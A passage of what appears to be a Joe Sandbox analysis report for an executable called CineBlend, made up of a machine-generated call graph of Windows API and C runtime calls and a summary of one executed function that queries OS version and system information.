105096->105100 105108 b3b4c8 22 API calls 105096->105108 105099->105096 105100->105091 105100->105101 105102 b3d9c3 105101->105102 105103 b4e30a 22 API calls ISource 105101->105103 105103->105101 105104->105076 105105->105080 105106->105088 105107->105088 105108->105096 105109->105098 105110 b5076b 105111 b50777 ___DestructExceptionObject 105110->105111 105140 b50221 105111->105140 105113 b5077e 105114 b508d1 105113->105114 105118 b507a8 105113->105118 105181 b50baf IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_fastfail 105114->105181 105116 b508d8 105174 b551c2 105116->105174 105127 b507e7 ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 105118->105127 105151 b627ed 105118->105151 105124 b507c7 105126 b50848 105159 b50cc9 105126->105159 105127->105126 105177 b5518a 38 API calls 2 library calls 105127->105177 105129 b5084e 105163 b3331b 105129->105163 105134 b5086a 105134->105116 105135 b5086e 105134->105135 105136 b50877 105135->105136 105179 b55165 28 API calls _abort 105135->105179 105180 b503b0 13 API calls 2 library calls 105136->105180 105139 b5087f 105139->105124 105141 b5022a 105140->105141 105183 b50a08 IsProcessorFeaturePresent 105141->105183 105143 b50236 105184 b53004 10 API calls 3 library calls 105143->105184 105145 b5023b 105150 b5023f 105145->105150 105185 b62687 105145->105185 105147 b50256 105147->105113 105150->105113 105152 b62804 105151->105152 105153 b50dfc __ehhandler$?_ScheduleContinuationTask@_Task_impl_base@details@Concurrency@@QAEXPAU_ContinuationTaskHandleBase@23@@Z 5 API calls 105152->105153 105154 b507c1 105153->105154 105154->105124 105155 b62791 105154->105155 105156 b627c0 105155->105156 105157 b50dfc __ehhandler$?_ScheduleContinuationTask@_Task_impl_base@details@Concurrency@@QAEXPAU_ContinuationTaskHandleBase@23@@Z 5 API calls 105156->105157 105158 b627e9 105157->105158 105158->105127 105241 b526b0 105159->105241 105162 b50cef 105162->105129 105164 b33327 IsThemeActive 105163->105164 105165 b33382 105163->105165 105243 b552b3 105164->105243 105178 b50d02 GetModuleHandleW 105165->105178 105167 b33352 105249 b55319 105167->105249 105169 b33359 105256 b332e6 SystemParametersInfoW SystemParametersInfoW 105169->105256 105171 b33360 105257 b3338b 105171->105257 105173 b33368 SystemParametersInfoW 105173->105165 106051 b54f3f 105174->106051 105177->105126 105178->105134 105179->105136 105180->105139 105181->105116 105183->105143 105184->105145 105189 b6d576 105185->105189 105188 b5302d 8 API calls 3 library calls 105188->105150 105192 b6d593 105189->105192 105193 b6d58f 105189->105193 105191 b50248 105191->105147 105191->105188 105192->105193 105196 b64eb8 105192->105196 105201 b64f6e 105192->105201 105213 b50dfc 105193->105213 105197 b64ebf 105196->105197 105198 b64f02 GetStdHandle 105197->105198 105199 b64f6a 105197->105199 105200 b64f15 GetFileType 105197->105200 105198->105197 105199->105192 105200->105197 105202 b64f7a ___DestructExceptionObject 105201->105202 105220 b632d1 EnterCriticalSection 105202->105220 105204 b64f81 105221 b65422 105204->105221 105206 b64f90 105212 b64f9f 105206->105212 105234 b64e02 29 API calls 105206->105234 105209 b64f9a 105211 b64eb8 2 API calls 105209->105211 105210 b64fb0 __fread_nolock 105210->105192 105211->105212 105235 b64fbb LeaveCriticalSection _abort 105212->105235 105214 b50e05 105213->105214 105215 b50e07 IsProcessorFeaturePresent 105213->105215 105214->105191 105217 b50fce 105215->105217 105240 b50f91 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 105217->105240 105219 b510b1 105219->105191 105220->105204 105222 b6542e ___DestructExceptionObject 105221->105222 105223 b65452 105222->105223 105224 b6543b 105222->105224 105236 b632d1 EnterCriticalSection 105223->105236 105237 b5f649 20 API calls __dosmaperr 105224->105237 105227 b65440 105238 b62b5c 26 API calls __fread_nolock 105227->105238 105230 b6544a __fread_nolock 105230->105206 105231 b65373 __wsopen_s 21 API calls 105232 b6545e 105231->105232 105232->105231 105233 b6548a 105232->105233 105239 b654b1 LeaveCriticalSection _abort 105233->105239 105234->105209 105235->105210 105236->105232 105237->105227 105238->105230 105239->105230 105240->105219 105242 b50cdc GetStartupInfoW 105241->105242 105242->105162 105244 b552bf ___DestructExceptionObject 105243->105244 105306 b632d1 EnterCriticalSection 105244->105306 105246 b552ca pre_c_initialization 105307 b5530a 105246->105307 105248 b552ff __fread_nolock 105248->105167 105250 b5533f 105249->105250 105251 b55325 105249->105251 105250->105169 105251->105250 105311 b5f649 20 API calls __dosmaperr 105251->105311 105253 b5532f 105312 b62b5c 26 API calls __fread_nolock 105253->105312 105255 b5533a 105255->105169 105256->105171 105258 b3339b __wsopen_s 105257->105258 105259 b3bf73 22 API calls 105258->105259 105260 b333a7 GetCurrentDirectoryW 105259->105260 105313 b34fd9 105260->105313 105262 b333ce IsDebuggerPresent 105263 b73ca3 MessageBoxA 105262->105263 105264 b333dc 105262->105264 105266 b73cbb 105263->105266 105265 b333f0 105264->105265 105264->105266 105381 b33a95 105265->105381 105417 b34176 22 API calls 105266->105417 105273 b33462 105275 b73cec SetCurrentDirectoryW 105273->105275 105276 b3346a 105273->105276 105275->105276 105277 b33475 105276->105277 105418 b91fb0 AllocateAndInitializeSid CheckTokenMembership FreeSid 105276->105418 105413 b334d3 7 API calls 105277->105413 105280 b73d07 105280->105277 105283 b73d19 105280->105283 105285 b35594 24 API calls 105283->105285 105284 b3347f 105287 b3396b 61 API calls 105284->105287 105289 b33494 105284->105289 105286 b73d22 105285->105286 105288 b3b329 22 API calls 105286->105288 105287->105289 105291 b73d30 105288->105291 105290 b334af 105289->105290 105292 b33907 Shell_NotifyIconW 105289->105292 105295 b334b6 SetCurrentDirectoryW 105290->105295 105293 b73d5f 105291->105293 105294 b73d38 105291->105294 105292->105290 105296 b36b7c 22 API calls 105293->105296 105297 b36b7c 22 API calls 105294->105297 105298 b334ca 105295->105298 105299 b73d5b GetForegroundWindow ShellExecuteW 105296->105299 105300 b73d43 105297->105300 105298->105173 105304 b73d90 105299->105304 105419 b37bb5 22 API calls 105300->105419 105303 b73d51 105305 b36b7c 22 API calls 105303->105305 105304->105290 105305->105299 105306->105246 105310 b63319 LeaveCriticalSection 105307->105310 105309 b55311 105309->105248 105310->105309 105311->105253 105312->105255 105314 b3bf73 22 API calls 105313->105314 105315 b34fef 105314->105315 105420 b363d7 105315->105420 105317 b3500d 105318 b3bd57 22 API calls 105317->105318 105319 b35021 105318->105319 105320 b3bed9 22 API calls 105319->105320 105321 b3502c 105320->105321 105434 b3893c 105321->105434 105324 b3b329 22 API calls 105325 b35045 105324->105325 105326 b3be2d 40 API calls 105325->105326 105327 b35055 105326->105327 105328 b3b329 22 API calls 105327->105328 105329 b3507b 105328->105329 105330 b3be2d 40 API calls 105329->105330 105331 b3508a 105330->105331 105332 b3bf73 22 API calls 105331->105332 105333 b350a8 105332->105333 105437 b351ca 105333->105437 105336 b54d98 _strftime 40 API calls 105337 b350c2 105336->105337 105338 b74b23 105337->105338 105339 b350cc 105337->105339 105340 b351ca 22 API calls 105338->105340 105341 b54d98 _strftime 40 API calls 105339->105341 105342 b74b37 105340->105342 105343 b350d7 105341->105343 105345 b351ca 22 API calls 105342->105345 105343->105342 105344 b350e1 105343->105344 105346 b54d98 _strftime 40 API calls 105344->105346 105347 b74b53 105345->105347 105348 b350ec 105346->105348 105351 b35594 24 API calls 105347->105351 105348->105347 105349 b350f6 105348->105349 105350 b54d98 _strftime 40 API calls 105349->105350 105352 b35101 105350->105352 105353 b74b76 105351->105353 105354 b74b9f 105352->105354 105355 b3510b 105352->105355 105356 b351ca 22 API calls 105353->105356 105358 b351ca 22 API calls 105354->105358 105357 b3512e 105355->105357 105360 b3bed9 22 API calls 105355->105360 105359 b74b82 105356->105359 105362 b74bda 105357->105362 105367 b37e12 22 API calls 105357->105367 105361 b74bbd 105358->105361 105363 b3bed9 22 API calls 105359->105363 105365 b35121 105360->105365 105366 b3bed9 22 API calls 105361->105366 105364 b74b90 105363->105364 105368 b351ca 22 API calls 105364->105368 105369 b351ca 22 API calls 105365->105369 105370 b74bcb 105366->105370 105371 b3513e 105367->105371 105368->105354 105369->105357 105372 b351ca 22 API calls 105370->105372 105373 b38470 22 API calls 105371->105373 105372->105362 105374 b3514c 105373->105374 105443 b38a60 105374->105443 105376 b3893c 22 API calls 105378 b35167 105376->105378 105377 b38a60 22 API calls 105377->105378 105378->105376 105378->105377 105379 b351ab 105378->105379 105380 b351ca 22 API calls 105378->105380 105379->105262 105380->105378 105382 b33aa2 __wsopen_s 105381->105382 105383 b33abb 105382->105383 105384 b740da ___scrt_fastfail 105382->105384 105385 b35851 23 API calls 105383->105385 105386 b740f6 GetOpenFileNameW 105384->105386 105387 b33ac4 105385->105387 105388 b74145 105386->105388 105459 b33a57 105387->105459 105390 b38577 22 API calls 105388->105390 105392 b7415a 105390->105392 105392->105392 105394 b33ad9 105477 b362d5 105394->105477 106050 b33624 7 API calls 105413->106050 105415 b3347a 105416 b335b3 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 105415->105416 105416->105284 105417->105273 105418->105280 105419->105303 105421 b363e4 __wsopen_s 105420->105421 105422 b38577 22 API calls 105421->105422 105423 b36416 105421->105423 105422->105423 105430 b3644c 105423->105430 105454 b3655e 105423->105454 105425 b3b329 22 API calls 105426 b36543 105425->105426 105429 b36a7c 22 API calls 105426->105429 105427 b3b329 22 API calls 105427->105430 105428 b3655e 22 API calls 105428->105430 105431 b3654f 105429->105431 105430->105427 105430->105428 105432 b36a7c 22 API calls 105430->105432 105433 b3651a 105430->105433 105431->105317 105432->105430 105433->105425 105433->105431 105435 b5014b 22 API calls 105434->105435 105436 b35038 105435->105436 105436->105324 105438 b351f2 105437->105438 105439 b351d4 105437->105439 105441 b38577 22 API calls 105438->105441 105440 b350b4 105439->105440 105442 b3bed9 22 API calls 105439->105442 105440->105336 105441->105440 105442->105440 105444 b38a76 105443->105444 105445 b76737 105444->105445 105452 b38a80 105444->105452 105457 b4b7a2 22 API calls 105445->105457 105447 b76744 105458 b3b4c8 22 API calls 105447->105458 105449 b76762 105449->105449 105450 b38b94 105451 b5014b 22 API calls 105450->105451 105453 b38b9b 105451->105453 105452->105447 105452->105450 105452->105453 105453->105378 105455 b3c2c9 22 API calls 105454->105455 105456 b36569 105455->105456 105456->105423 105457->105447 105458->105449 105460 b722d0 __wsopen_s 105459->105460 105461 b33a64 GetLongPathNameW 105460->105461 105462 b38577 22 API calls 105461->105462 105463 b33a8c 105462->105463 105464 b353f2 105463->105464 105465 b3bf73 22 API calls 105464->105465 105466 b35404 105465->105466 105467 b35851 23 API calls 105466->105467 105468 b3540f 105467->105468 105469 b3541a 105468->105469 105470 b74d5b 105468->105470 105471 b36a7c 22 API calls 105469->105471 105475 b74d7d 105470->105475 105513 b4e36b 41 API calls 105470->105513 105473 b35426 105471->105473 105507 b31340 105473->105507 105476 b35439 105476->105394 105514 b36679 105477->105514 105480 b75336 105639 ba36b8 105480->105639 105481 b36679 94 API calls 105483 b3630e 105481->105483 105483->105480 105485 b36316 105483->105485 105484 b75347 105486 b7534b 105484->105486 105487 b75368 105484->105487 105489 b36322 105485->105489 105490 b75353 105485->105490 105688 b366e7 105486->105688 105488 b5017b 22 API calls 105487->105488 105506 b753ad 105488->105506 105536 b33b39 105489->105536 105694 b9e30e 82 API calls 105490->105694 105495 b75361 105495->105487 105496 b7555e 105501 b75566 105496->105501 105497 b366e7 68 API calls 105497->105501 105501->105497 105696 b9a215 82 API calls __wsopen_s 105501->105696 105503 b3b329 22 API calls 105503->105506 105506->105496 105506->105501 105506->105503 105665 b99ff8 105506->105665 105668 ba1519 105506->105668 105674 b3bba9 105506->105674 105682 b35d21 105506->105682 105695 b99f27 42 API calls _wcslen 105506->105695 105508 b31352 105507->105508 105512 b31371 __fread_nolock 105507->105512 105511 b5017b 22 API calls 105508->105511 105509 b5014b 22 API calls 105510 b31388 105509->105510 105510->105476 105511->105512 105512->105509 105513->105470 105697 b3663e LoadLibraryA 105514->105697 105519 b366a4 LoadLibraryExW 105705 b36607 LoadLibraryA 105519->105705 105520 b75648 105522 b366e7 68 API calls 105520->105522 105524 b7564f 105522->105524 105526 b36607 3 API calls 105524->105526 105528 b75657 105526->105528 105527 b366ce 105527->105528 105529 b366da 105527->105529 105726 b3684a 105528->105726 105531 b366e7 68 API calls 105529->105531 105533 b362fa 105531->105533 105533->105480 105533->105481 105535 b7567e 105537 b33b62 105536->105537 105538 b7415f 105536->105538 105540 b5017b 22 API calls 105537->105540 105904 b9a215 82 API calls __wsopen_s 105538->105904 105541 b33b86 105540->105541 105542 b37aab CloseHandle 105541->105542 105543 b33b94 105542->105543 105544 b3bf73 22 API calls 105543->105544 105547 b33b9d 105544->105547 105545 b33bfa 105548 b3bf73 22 API calls 105545->105548 105546 b33bec 105546->105545 105549 b74179 105546->105549 105905 b9d5aa SetFilePointerEx SetFilePointerEx SetFilePointerEx WriteFile 105546->105905 105550 b37aab CloseHandle 105547->105550 105552 b33c06 105548->105552 105549->105545 105549->105546 105553 b33ba6 105550->105553 105878 b33ae9 105552->105878 105556 b37aab CloseHandle 105553->105556 105554 b741d5 105554->105545 105557 b33baf 105556->105557 105892 b36fa2 SetFilePointerEx SetFilePointerEx SetFilePointerEx CreateFileW CreateFileW 105557->105892 105560 b3bf73 22 API calls 105561 b33c1e 105560->105561 105563 b35851 23 API calls 105561->105563 105562 b33bc9 105564 b33bd1 105562->105564 105565 b74591 105562->105565 105566 b33c2c 105563->105566 105893 b36c5f 27 API calls ISource 105564->105893 105913 b9a215 82 API calls __wsopen_s 105565->105913 105883 b33b1c 105566->105883 105569 b745a6 105569->105569 105573 b33be3 105894 b36c48 SetFilePointerEx SetFilePointerEx SetFilePointerEx 105573->105894 105576 b33c6f 105578 b3bf73 22 API calls 105576->105578 105577 b741eb 105579 b37aab CloseHandle 105577->105579 105580 b33c78 105578->105580 105581 b741f4 105579->105581 105582 b3bf73 22 API calls 105580->105582 105583 b36679 94 API calls 105581->105583 105584 b33c81 105582->105584 105585 b7421c 105583->105585 105895 b3568e 22 API calls 105584->105895 105587 b74528 105585->105587 105590 ba36b8 80 API calls 105585->105590 105640 ba36d4 105639->105640 105641 b36874 64 API calls 105640->105641 105642 ba36e8 105641->105642 105922 ba3827 105642->105922 105645 b3684a 40 API calls 105646 ba3717 105645->105646 105647 b3684a 40 API calls 105646->105647 105648 ba3727 105647->105648 105649 b3684a 40 API calls 105648->105649 105650 ba3742 105649->105650 105651 b3684a 40 API calls 105650->105651 105652 ba375d 105651->105652 105653 b36874 64 API calls 105652->105653 105654 ba3774 105653->105654 105655 b5ed7c ___std_exception_copy 21 API calls 105654->105655 105656 ba377b 105655->105656 105657 b5ed7c ___std_exception_copy 21 API calls 105656->105657 105658 ba3785 105657->105658 105659 b3684a 40 API calls 105658->105659 105660 ba3799 105659->105660 105661 ba32bd 27 API calls 105660->105661 105663 ba37af 105661->105663 105662 ba3700 105662->105484 105663->105662 105928 ba2c8d 105663->105928 105666 b5017b 22 API calls 105665->105666 105667 b9a028 __fread_nolock 105666->105667 105667->105506 105670 ba1524 105668->105670 105669 b5014b 22 API calls 105671 ba153b 105669->105671 105670->105669 105672 b3b329 22 API calls 105671->105672 105673 ba1546 105672->105673 105673->105506 105675 b3bc33 105674->105675 105679 b3bbb9 __fread_nolock 105674->105679 105677 b5017b 22 API calls 105675->105677 105676 b5014b 22 API calls 105678 b3bbc0 105676->105678 105677->105679 105680 b5014b 22 API calls 105678->105680 105681 b3bbde 105678->105681 105679->105676 105680->105681 105681->105506 105683 b35d34 105682->105683 105687 b35dd8 105682->105687 105684 b5017b 22 API calls 105683->105684 105685 b35d66 105683->105685 105684->105685 105686 b5014b 22 API calls 105685->105686 105685->105687 105686->105685 105687->105506 105689 b366f1 105688->105689 105690 b366f8 105688->105690 105691 b5e9e8 67 API calls 105689->105691 105692 b756a4 FreeLibrary 105690->105692 105693 b3670f 105690->105693 105691->105690 105693->105490 105694->105495 105695->105506 105696->105501 105698 b36656 GetProcAddress 105697->105698 105699 b36674 105697->105699 105700 b36666 105698->105700 105702 b5e95b 105699->105702 105700->105699 105701 b3666d FreeLibrary 105700->105701 105701->105699 105734 b5e89a 105702->105734 105704 b36698 105704->105519 105704->105520 105706 b3663b 105705->105706 105707 b3661c GetProcAddress 105705->105707 105710 b36720 105706->105710 105708 b3662c 105707->105708 105708->105706 105709 b36634 FreeLibrary 105708->105709 105709->105706 105711 b5017b 22 API calls 105710->105711 105712 b36735 105711->105712 105713 b3423c 22 API calls 105712->105713 105715 b36741 __fread_nolock 105713->105715 105714 b756c2 105792 ba3a92 74 API calls 105714->105792 105715->105714 105718 b3677c 105715->105718 105791 ba3a0e CreateStreamOnHGlobal FindResourceExW LoadResource SizeofResource LockResource 105715->105791 105719 b3684a 40 API calls 105718->105719 105720 b75706 105718->105720 105721 b36874 64 API calls 105718->105721 105723 b36810 ISource 105718->105723 105719->105718 105786 b36874 105720->105786 105721->105718 105723->105527 105725 b3684a 40 API calls 105725->105723 105727 b75760 105726->105727 105728 b3685c 105726->105728 105824 b5ec34 105728->105824 105731 ba32bd 105861 ba310d 105731->105861 105733 ba32d8 105733->105535 105737 b5e8a6 ___DestructExceptionObject 105734->105737 105735 b5e8b4 105759 b5f649 20 API calls __dosmaperr 105735->105759 105737->105735 105739 b5e8e4 105737->105739 105738 b5e8b9 105760 b62b5c 26 API calls __fread_nolock 105738->105760 105741 b5e8f6 105739->105741 105742 b5e8e9 105739->105742 105751 b683e1 105741->105751 105761 b5f649 20 API calls __dosmaperr 105742->105761 105745 b5e8ff 105746 b5e905 105745->105746 105748 b5e912 105745->105748 105762 b5f649 20 API calls __dosmaperr 105746->105762 105763 b5e944 LeaveCriticalSection __fread_nolock 105748->105763 105750 b5e8c4 __fread_nolock 105750->105704 105752 b683ed ___DestructExceptionObject 105751->105752 105764 b632d1 EnterCriticalSection 105752->105764 105754 b683fb 105765 b6847b 105754->105765 105758 b6842c __fread_nolock 105758->105745 105759->105738 105760->105750 105761->105750 105762->105750 105763->105750 105764->105754 105773 b6849e 105765->105773 105766 b684f7 105767 b64ff0 __dosmaperr 20 API calls 105766->105767 105768 b68500 105767->105768 105770 b62d38 _free 20 API calls 105768->105770 105771 b68509 105770->105771 105774 b68408 105771->105774 105783 b63778 11 API calls 2 library calls 105771->105783 105773->105766 105773->105774 105781 b594fd EnterCriticalSection 105773->105781 105782 b59511 LeaveCriticalSection 105773->105782 105778 b68437 105774->105778 105775 b68528 105784 b594fd EnterCriticalSection 105775->105784 105785 b63319 LeaveCriticalSection 105778->105785 105780 b6843e 105780->105758 105781->105773 105782->105773 105783->105775 105784->105774 105785->105780 105787 b36883 105786->105787 105790 b75780 105786->105790 105793 b5f053 105787->105793 105791->105714 105792->105718 105796 b5ee1a 105793->105796 105795 b36891 105795->105725 105799 b5ee26 ___DestructExceptionObject 105796->105799 105797 b5ee32 105821 b5f649 20 API calls __dosmaperr 105797->105821 105799->105797 105800 b5ee58 105799->105800 105809 b594fd EnterCriticalSection 105800->105809 105802 b5ee37 105822 b62b5c 26 API calls __fread_nolock 105802->105822 105803 b5ee64 105810 b5ef7a 105803->105810 105806 b5ee78 105823 b5ee97 LeaveCriticalSection __fread_nolock 105806->105823 105808 b5ee42 __fread_nolock 105808->105795 105809->105803 105811 b5ef9c 105810->105811 105812 b5ef8c 105810->105812 105814 b5eea1 28 API calls 105811->105814 105813 b5f649 _free 20 API calls 105812->105813 105815 b5ef91 105813->105815 105816 b5efbf 105814->105816 105815->105806 105817 b5f03e 105816->105817 105818 b5df7b 62 API calls 105816->105818 105817->105806 105819 b5efe6 105818->105819 105820 b697a4 __wsopen_s 28 API calls 105819->105820 105820->105817 105821->105802 105822->105808 105823->105808 105827 b5ec51 105824->105827 105826 b3686d 105826->105731 105828 b5ec5d ___DestructExceptionObject 105827->105828 105829 b5ec9d 105828->105829 105830 b5ec95 __fread_nolock 105828->105830 105835 b5ec70 ___scrt_fastfail 105828->105835 105840 b594fd EnterCriticalSection 105829->105840 105830->105826 105832 b5eca7 105841 b5ea68 105832->105841 105854 b5f649 20 API calls __dosmaperr 105835->105854 105836 b5ec8a 105855 b62b5c 26 API calls __fread_nolock 105836->105855 105840->105832 105844 b5ea7a ___scrt_fastfail 105841->105844 105847 b5ea97 105841->105847 105842 b5ea87 105857 b5f649 20 API calls __dosmaperr 105842->105857 105844->105842 105844->105847 105849 b5eada __fread_nolock 105844->105849 105845 b5ea8c 105858 b62b5c 26 API calls __fread_nolock 105845->105858 105856 b5ecdc LeaveCriticalSection __fread_nolock 105847->105856 105848 b5ebf6 ___scrt_fastfail 105860 b5f649 20 API calls __dosmaperr 105848->105860 105849->105847 105849->105848 105851 b5dcc5 __fread_nolock 26 API calls 105849->105851 105853 b690c5 __fread_nolock 38 API calls 105849->105853 105859 b5d2e8 26 API calls 3 library calls 105849->105859 105851->105849 105853->105849 105854->105836 105855->105830 105856->105830 105857->105845 105858->105847 105859->105849 105860->105845 105864 b5e858 105861->105864 105863 ba311c 105863->105733 105867 b5e7d9 105864->105867 105866 b5e875 105866->105863 105868 b5e7e8 105867->105868 105869 b5e7fc 105867->105869 105875 b5f649 20 API calls __dosmaperr 105868->105875 105873 b5e7f8 __alldvrm 105869->105873 105877 b636b2 11 API calls 2 library calls 105869->105877 105872 b5e7ed 105876 b62b5c 26 API calls __fread_nolock 105872->105876 105873->105866 105875->105872 105876->105873 105877->105873 105879 b722d0 __wsopen_s 105878->105879 105880 b33af6 GetCurrentDirectoryW 105879->105880 105881 b38577 22 API calls 105880->105881 105882 b33b19 105881->105882 105882->105560 105914 b3b120 105883->105914 105886 b36d47 105889 b36d5e 105886->105889 105887 b36de5 SetFilePointerEx SetFilePointerEx 105891 b33c5e 105887->105891 105888 b7592a SetFilePointerEx 105889->105887 105889->105888 105890 b75919 105889->105890 105889->105891 105890->105888 105891->105576 105891->105577 105892->105562 105893->105573 105894->105546 105904->105546 105905->105554 105913->105569 105915 b3b19b 105914->105915 105916 b3b12e 105914->105916 105921 b4f18b SetFilePointerEx 105915->105921 105918 b33b2d 105916->105918 105919 b3b16c ReadFile 105916->105919 105918->105886 105919->105918 105920 b3b186 105919->105920 105920->105916 105920->105918 105921->105916 105927 ba383b 105922->105927 105923 b3684a 40 API calls 105923->105927 105924 ba36fc 105924->105645 105924->105662 105925 ba32bd 27 API calls 105925->105927 105926 b36874 64 API calls 105926->105927 105927->105923 105927->105924 105927->105925 105927->105926 105929 ba2c98 105928->105929 105930 ba2ca6 105928->105930 105931 b5e95b 29 API calls 105929->105931 105932 ba2ceb 105930->105932 105933 b5e95b 29 API calls 105930->105933 105944 ba2caf 105930->105944 105931->105930 105957 ba2f16 40 API calls __fread_nolock 105932->105957 105935 ba2cd0 105933->105935 105935->105932 105937 ba2cd9 105935->105937 105936 ba2d2f 105938 ba2d33 105936->105938 105939 ba2d54 105936->105939 105937->105944 105965 b5e9e8 105937->105965 105940 ba2d40 105938->105940 105943 b5e9e8 67 API calls 105938->105943 105958 ba2b30 105939->105958 105940->105944 105943->105940 105944->105662 105957->105936 105966 b5e9f4 ___DestructExceptionObject 105965->105966 106050->105415 106052 b54f4b _abort 106051->106052 106053 b54f64 106052->106053 106054 b54f52 106052->106054 106075 b632d1 EnterCriticalSection 106053->106075 106090 b55099 GetModuleHandleW 106054->106090 106057 b54f57 106057->106053 106091 b550dd GetModuleHandleExW 106057->106091 106058 b54f6b 106062 b54fe0 106058->106062 106074 b55009 106058->106074 106076 b62518 106058->106076 106066 b54ff8 106062->106066 106070 b62791 _abort 5 API calls 106062->106070 106064 b55026 106082 b55058 106064->106082 106065 b55052 106099 b720a9 5 API calls __ehhandler$?_ScheduleContinuationTask@_Task_impl_base@details@Concurrency@@QAEXPAU_ContinuationTaskHandleBase@23@@Z 106065->106099 106071 b62791 _abort 5 API calls 106066->106071 106070->106066 106071->106074 106079 b55049 106074->106079 106075->106058 106100 b62251 106076->106100 106119 b63319 LeaveCriticalSection 106079->106119 106081 b55022 106081->106064 106081->106065 106120 b6397f 106082->106120 106085 b55086 106088 b550dd _abort 8 API calls 106085->106088 106086 b55066 GetPEB 106086->106085 106087 b55076 GetCurrentProcess TerminateProcess 106086->106087 106087->106085 106089 b5508e ExitProcess 106088->106089 106090->106057 106092 b55107 GetProcAddress 106091->106092 106093 b5512a 106091->106093 106094 b5511c 106092->106094 106095 b55130 FreeLibrary 106093->106095 106096 b55139 106093->106096 106094->106093 106095->106096 106097 b50dfc __ehhandler$?_ScheduleContinuationTask@_Task_impl_base@details@Concurrency@@QAEXPAU_ContinuationTaskHandleBase@23@@Z 5 API calls 106096->106097 106098 b54f63 106097->106098 106098->106053 106103 b62200 106100->106103 106102 b62275 106102->106062 106104 b6220c ___DestructExceptionObject 106103->106104 106111 b632d1 EnterCriticalSection 106104->106111 106106 b6221a 106112 b622a1 106106->106112 106110 b62238 __fread_nolock 106110->106102 106111->106106 106115 b622c9 106112->106115 106117 b622c1 106112->106117 106113 b50dfc __ehhandler$?_ScheduleContinuationTask@_Task_impl_base@details@Concurrency@@QAEXPAU_ContinuationTaskHandleBase@23@@Z 5 API calls 106114 b62227 106113->106114 106118 b62245 LeaveCriticalSection _abort 106114->106118 106116 b62d38 _free 20 API calls 106115->106116 106115->106117 106116->106117 106117->106113 106118->106110 106119->106081 106121 b639a4 106120->106121 106122 b6399a 106120->106122 106127 b6334a 5 API calls 2 library calls 106121->106127 106124 b50dfc __ehhandler$?_ScheduleContinuationTask@_Task_impl_base@details@Concurrency@@QAEXPAU_ContinuationTaskHandleBase@23@@Z 5 API calls 106122->106124 106125 b55062 106124->106125 106125->106085 106125->106086 106126 b639bb 106126->106122 106127->106126

                                  Executed Functions

                                  Function 00B35FC8 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 236libraryloaderCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 234 b35fc8-b36037 call b3bf73 GetVersionExW call b38577 239 b7507d-b75090 234->239 240 b3603d 234->240 241 b75091-b75095 239->241 242 b3603f-b36041 240->242 243 b75097 241->243 244 b75098-b750a4 241->244 245 b36047-b360a6 call b3adf4 call b355dc 242->245 246 b750bc 242->246 243->244 244->241 247 b750a6-b750a8 244->247 258 b75224-b7522b 245->258 259 b360ac-b360ae 245->259 251 b750c3-b750cf 246->251 247->242 250 b750ae-b750b5 247->250 250->239 253 b750b7 250->253 254 b3611c-b36136 GetCurrentProcess IsWow64Process 251->254 253->246 256 b36195-b3619b 254->256 257 b36138 254->257 260 b3613e-b3614a 256->260 257->260 261 b7522d 258->261 262 b7524b-b7524e 258->262 263 b75125-b75138 259->263 264 b360b4-b360b7 259->264 265 b36150-b3615f LoadLibraryA 260->265 266 b75269-b7526d GetSystemInfo 260->266 270 b75233 261->270 271 b75250-b7525f 262->271 272 b75239-b75241 262->272 267 b75161-b75163 263->267 268 b7513a-b75143 263->268 264->254 269 b360b9-b360f5 264->269 273 b36161-b3616f GetProcAddress 265->273 274 b3619d-b361a7 GetSystemInfo 265->274 279 b75165-b7517a 267->279 280 b75198-b7519b 267->280 276 b75145-b7514b 268->276 277 b75150-b7515c 268->277 269->254 278 b360f7-b360fa 269->278 270->272 271->270 281 b75261-b75267 271->281 272->262 273->274 282 b36171-b36175 GetNativeSystemInfo 273->282 275 b36177-b36179 274->275 283 b36182-b36194 275->283 284 b3617b-b3617c FreeLibrary 275->284 276->254 277->254 285 b750d4-b750e4 278->285 286 b36100-b3610a 278->286 287 b75187-b75193 279->287 288 b7517c-b75182 279->288 289 b751d6-b751d9 280->289 290 b7519d-b751b8 280->290 281->272 282->275 284->283 292 b750f7-b75101 285->292 293 b750e6-b750f2 285->293 286->251 294 b36110-b36116 286->294 287->254 288->254 289->254 291 b751df-b75206 289->291 295 b751c5-b751d1 290->295 296 b751ba-b751c0 290->296 297 b75213-b7521f 291->297 298 b75208-b7520e 291->298 299 b75114-b75120 292->299 300 b75103-b7510f 292->300 293->254 294->254 295->254 296->254 297->254 298->254 299->254 300->254
                                  APIs
                                  • GetVersionExW.KERNEL32(?), ref: 00B35FF7
                                    • Part of subcall function 00B38577: _wcslen.LIBCMT ref: 00B3858A
                                  • GetCurrentProcess.KERNEL32(?,00BCDC2C,00000000,?,?), ref: 00B36123
                                  • IsWow64Process.KERNEL32(00000000,?,?), ref: 00B3612A
                                  • LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 00B36155
                                  • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00B36167
                                  • GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 00B36175
                                  • FreeLibrary.KERNEL32(00000000,?,?), ref: 00B3617C
                                  • GetSystemInfo.KERNEL32(?,?,?), ref: 00B361A1
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
